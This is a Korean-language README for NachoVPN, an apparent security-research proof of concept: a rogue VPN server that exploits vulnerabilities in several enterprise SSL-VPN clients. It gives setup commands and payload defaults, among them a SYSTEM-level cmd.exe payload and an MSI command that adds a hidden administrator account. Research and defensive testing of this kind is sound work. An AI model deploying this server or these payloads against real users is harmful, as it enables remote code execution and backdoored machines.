
맛있지만 악성인 SSL-VPN 서버 🌮
NachoVPN은 악성(rogue) VPN 서버를 사용하여 SSL-VPN 클라이언트의 취약점을 악용하는 개념 증명(PoC)입니다.
플러그인 기반 아키텍처를 사용하므로 커뮤니티에서 추가 SSL-VPN 제품에 대한 지원을 기여할 수 있습니다. 현재 Cisco AnyConnect, SonicWall NetExtender, Palo Alto GlobalProtect, Ivanti Connect Secure 등 여러 인기 기업용 VPN 제품을 지원합니다.
자세한 내용은 블로그 게시물과 HackFest Hollywood 2024 프레젠테이션 [슬라이드|비디오]를 참조하십시오.
NachoVPN은 Ubuntu 22.04에서 빌드 및 테스트되었습니다.
python3-nftables 및 nftables 설치
선택적으로 setcap을 사용하여 sudo 요구 사항을 피할 수 있습니다:
sudo setcap 'cap_net_raw,cap_net_bind_service,cap_net_admin=eip' /usr/bin/python3.10
IP 전달 활성화:
sudo sysctl -w net.ipv4.ip_forward=1
NachoVPN은 pip를 사용하여 GitHub에서 설치할 수 있습니다. 이 경우 git이 설치되어 있어야 합니다.
먼저 가상 환경을 생성합니다.
Linux에서는 가상 환경이 시스템 site-packages에 접근할 수 있어야 nftables가 동작합니다:
python3 -m venv env --system-site-packages
source env/bin/activate
Windows에서는 nftables(따라서 패킷 전달)가 비활성화되므로 다음을 사용합니다:
python -m venv env
.\env\Scripts\activate
그런 다음 NachoVPN을 설치합니다:
pip install git+https://github.com/AmberWolfCyber/NachoVPN.git
Docker를 사용하려면 GitHub Container Registry에서 컨테이너를 가져올 수 있습니다:
docker pull ghcr.io/AmberWolfCyber/nachovpn:release
먼저 이 저장소를 클론하고 pip로 setuptools와 wheel을 설치합니다. 그런 다음 setup.py 스크립트를 실행할 수 있습니다:
git clone https://github.com/AmberWolfCyber/NachoVPN
pip install -U setuptools wheel
python setup.py bdist_wheel
그러면 dist 디렉터리에 wheel 파일이 생성되며 pip로 설치할 수 있습니다:
pip install dist/nachovpn-1.0.0-py3-none-any.whl
또는 로컬 개발을 위해 다음 명령으로 패키지를 편집 가능(editable) 모드로 설치할 수 있습니다:
pip install -e .
다음 명령으로 컨테이너 이미지를 빌드할 수 있습니다:
docker build -t nachovpn:latest .
서버를 독립 실행형으로 실행하려면 다음을 사용합니다:
python -m nachovpn.server
또는 Docker를 사용하여 서버를 실행할 수 있습니다:
docker run -e SERVER_FQDN=connect.nachovpn.local -e EXTERNAL_IP=1.2.3.4 -v ./certs:/app/certs -p 80:80 -p 443:443 --rm -it nachovpn
그러면 certbot을 사용해 SERVER_FQDN에 대한 인증서가 생성되고, 컨테이너에 마운트한 certs 디렉터리에 저장됩니다.
또는 테스트 목적으로 SKIP_CERTBOT 환경 변수를 설정하여 인증서 생성을 건너뛸 수 있습니다.
이 경우 자체 서명 인증서가 대신 생성됩니다.
docker run -e SERVER_FQDN=connect.nachovpn.local -e SKIP_CERTBOT=1 -e EXTERNAL_IP=1.2.3.4 -p 443:443 --rm -it nachovpn
편의를 위해 예제 docker-compose 파일도 제공됩니다.
로깅의 상세 수준을 높이려면 nachovpn을 -d 또는 --debug 명령줄 인자와 함께 실행할 수 있으며, 이는 디버깅에 도움이 될 수 있습니다.
또는 로깅이 너무 많은 경우 q 또는 --quiet 명령줄 인자를 대신 사용할 수 있습니다.
NachoVPN은 다음 플러그인과 기능을 지원합니다:
/pulse URL을 방문하여 트리거할 수 있습니다./sonicwall URL을 방문하여 트리거할 수 있습니다. 클라이언트 머신에 SonicWall Connect Agent가 설치되어 있어야 합니다./delinea URL을 방문하여 트리거할 수 있습니다.NACAgent.exe 페이로드를 자체 서명 인증서로 서명합니다. 테스트 목적으로 공격을 트리거하기 전에 /sonicwall/ca.crt에서 이 CA 인증서를 다운로드하여 설치할 수 있습니다. 프로덕션 사용 사례의 경우 공개 CA에서 유효한 코드 서명 인증서를 획득하여 NACAgent.exe 페이로드에 서명한 후 payloads 디렉터리에 배치해야 합니다(Docker를 사용하는 경우 /app/payloads에 볼륨 마운트).NACAgent.exe 페이로드가 생성되어 payloads 디렉터리에 기록됩니다. 이 페이로드는 현재 사용자의 데스크톱에서 SYSTEM 권한으로 새 cmd.exe 프로세스를 생성합니다.msi_version.txt 파일이 downloads 디렉터리에 있어야 합니다. 수동으로 추가하거나 msi_downloader.py 스크립트를 실행하여 다운로드하십시오.플러그인을 비활성화하려면 DISABLED_PLUGINS 환경 변수에 추가합니다. 예:
DISABLED_PLUGINS=CiscoPlugin,SonicWallPlugin
NachoVPN은 환경 변수를 통해 구성됩니다. 따라서 컨테이너화된 배포와 쉽게 호환됩니다.
전역 환경 변수:
플러그인별 환경 변수:
다음 완화 방안을 권장합니다:
기여를 환영합니다! 이슈를 열거나 Pull Request를 올려 주세요.
새 플러그인 개발에 관심이 있다면 ExamplePlugin을 살펴보고 시작할 수 있습니다.
NachoVPN은 MIT 라이선스로 제공됩니다. 자세한 내용은 LICENSE 파일을 참조하십시오.
| Plugin | Product | CVE | Windows RCE | macOS RCE | Privileged | URI Handler | Packet Capture | Demo |
|---|
| Cisco | Cisco AnyConnect | N/A | ✅ | ✅ | ❌ | ❌ | ✅ | Windows / macOS |
| SonicWall | SonicWall NetExtender | CVE-2024-29014 | ✅ | ❌ | ✅ | ✅ | ❌ | Windows |
| PaloAlto | Palo Alto GlobalProtect | CVE-2024-5921 (부분 수정) | ✅ | ✅ | ✅ | ❌ | ✅ | Windows / macOS / iOS |
| PulseSecure | Ivanti Connect Secure | CVE-2020-8241 (우회됨) | ✅ | ✅ | ✅ | ✅ (Windows 전용 - 22.8R1에서 기본적으로 비활성화됨) | ✅ | Windows |
| Netskope | Netskope | CVE-2025-0309 | ✅ | ❌ | ✅ | ❌ | ❌ | Windows |
| Delinea | Protocol Handler | CVE-2026-???? | ✅ | ✅ | ❌ | ✅ | ❌ | Windows |
GlobalProtect.msi.old와 GlobalProtect64.msi.old가 downloads 폴더에 있어야 합니다. 이 파일은 6.2.6 이전 버전(예: 6.2.5)의 수정되지 않은 MSI 설치 프로그램을 포함해야 합니다.| Variable | Description | Default |
|---|
SERVER_FQDN | 서버의 정규화된 도메인 이름(FQDN). | connect.nachovpn.local |
EXTERNAL_IP | 서버의 외부 IP 주소. | 127.0.0.1 |
WRITE_PCAP | 캡처한 PCAP 파일을 디스크에 기록할지 여부. | false |
DISABLED_PLUGINS | 비활성화할 플러그인의 쉼표로 구분된 목록. | |
USE_DYNAMIC_SERVER_THUMBPRINT | 서버 인증서 지문을 서버에서 동적으로 계산할지 여부(프록시 뒤에 있는 경우 유용). | false |
SERVER_SHA1_THUMBPRINT | 계산된 서버 인증서 SHA1 지문을 재정의할 수 있습니다. | |
SERVER_MD5_THUMBPRINT | 계산된 서버 인증서 MD5 지문을 재정의할 수 있습니다. | |
SMB_ENABLED | 터널을 통해 \\10.10.0.1\<SMB_SHARE_NAME>에서 사용할 수 있는 SMB 공유를 활성화합니다. | false |
SMB_SHARE_NAME | SMB 공유에 사용할 이름. | SHARE |
SMB_SHARE_PATH | SMB 공유에 사용할 디렉터리의 경로. | smb |
TUNNEL_PRIVATE | true로 설정하면 터널링을 활성화하지만 VPN 클라이언트의 인터넷 전달은 비활성화합니다. 클라이언트는 SMB 공유에만 접근할 수 있습니다. | false |
TUNNEL_FULL | true로 설정하면 전체 터널링을 활성화하고 VPN 클라이언트가 인터넷에 접근할 수 있게 합니다. 또한 TUNNEL_PRIVATE=true를 의미합니다. | false |
| Variable | Description | Default |
|---|
VPN_NAME | Cisco AnyConnect에 클라이언트로 표시되는 VPN 프로필 이름. | NachoVPN |
PULSE_LOGON_SCRIPT | Pulse Secure 로그온 스크립트의 경로. | C:\Windows\System32\calc.exe |
PULSE_LOGON_SCRIPT_MACOS | macOS용 Pulse Secure 로그온 스크립트의 경로. | |
PULSE_DNS_SUFFIX | Pulse Secure 연결에 사용할 DNS 접미사. | nachovpn.local |
PULSE_USERNAME | Pulse Secure 로그온 대화상자에 미리 채워질 사용자 이름. | |
PULSE_SAVE_CONNECTION | Pulse Secure 연결을 사용자 클라이언트에 저장할지 여부. | false |
PULSE_ANONYMOUS_AUTH | Pulse Secure 연결에 익명 인증을 사용할지 여부. true로 설정하면 사용자에게 사용자 이름이나 비밀번호를 묻지 않습니다. | false |
PULSE_HOST_CHECKER_RULES_FILE | ICS용 레지스트리 기반 호스트 검사 규칙 목록이 포함된 JSON 파일. 예제는 src/nachovpn/plugins/pulse/test/example_rules.json을 참조하십시오. | |
PALO_ALTO_MSI_ADD_FILE | Palo Alto 설치 프로그램 MSI에 추가할 파일의 경로. | |
PALO_ALTO_MSI_COMMAND | Palo Alto 설치 프로그램 MSI가 실행할 명령. | net user pwnd Passw0rd123! /add && net localgroup administrators pwnd /add |
PALO_ALTO_FORCE_PATCH | payloads 디렉터리에 MSI 설치 프로그램이 이미 있는 경우 패치를 강제할지 여부. | false |
PALO_ALTO_PKG_COMMAND | macOS에서 Palo Alto 설치 프로그램 PKG가 실행할 명령. | touch /tmp/pwnd |
CISCO_COMMAND_WIN | Windows에서 Cisco AnyConnect OnConnect.vbs 스크립트가 실행할 명령. | calc.exe |
CISCO_COMMAND_MACOS | macOS에서 Cisco AnyConnect OnConnect.sh 스크립트가 실행할 명령. | touch /tmp/pwnd |